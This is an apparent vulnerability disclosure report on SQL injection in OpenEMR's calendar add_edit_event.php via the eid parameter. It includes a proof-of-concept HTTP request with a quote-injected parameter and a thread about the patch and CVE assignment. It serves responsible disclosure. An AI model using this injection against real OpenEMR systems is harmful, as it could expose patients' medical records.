SQL injection in the delete action of the file add_edit_event.php in openemr/openemr
Reported on
Apr 30th 2023
Description
We have discovered that the SQL injection vulnerability can be exploited through the file /interface/main/calendar/add_edit_event.php
, allowing an attacker to manipulate the query via the eid
parameter provided that Support Multi-Provider Events
feature must be enabled.
Proof of Concept
REQUEST:
POST /openemr/interface/main/calendar/add_edit_event.php?eid=1' HTTP/1.1
Host: localhost:8888
Content-Length: 75
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: OpenEMR=uqIwdZamDUi602vL9TYGfvL6lrf1Pun7PZlxnFoIcLsDkOGO
Connection: close
csrf_token_form=5f89af4268e0b669fbaf22fe3627e880290f6d46&form_action=delete
Evidence
Impact
An attacker can modify the query and get all the data in the database.
Occurrences
Thanks @Nhien.IT, have a fix in progress.
Hi @stephenwaite,
Thank you for confirming this report. If you don't mind can you assign the CVE ID for this vulnerability? Because I need it for my work.
Hi @maintainer @admin,
Any update here????? I just received an email that OpenEMR 7.0.1 Patch 1 has been released!!
Regards
Hi Nhien.IT, if you have the patch commit SHA and fixed version, we can manually mark this as fixed. We will require maintainer confirmation for a CVE to be assigned and published however. Thanks!
Hi @admin,
The patch is committed at https://github.com/openemr/openemr/commit/391f2f98cbd6faa30bfdffb80af1461fc55a10a5 and I have received an email about the openERM 7.0.1 patch
Thanks
Hi @admin @maintainer,
Any new updates here? It's been quite a while since the patch was announced and I haven't received a response from @maintainer. Hope @admin help!!!!
Thanks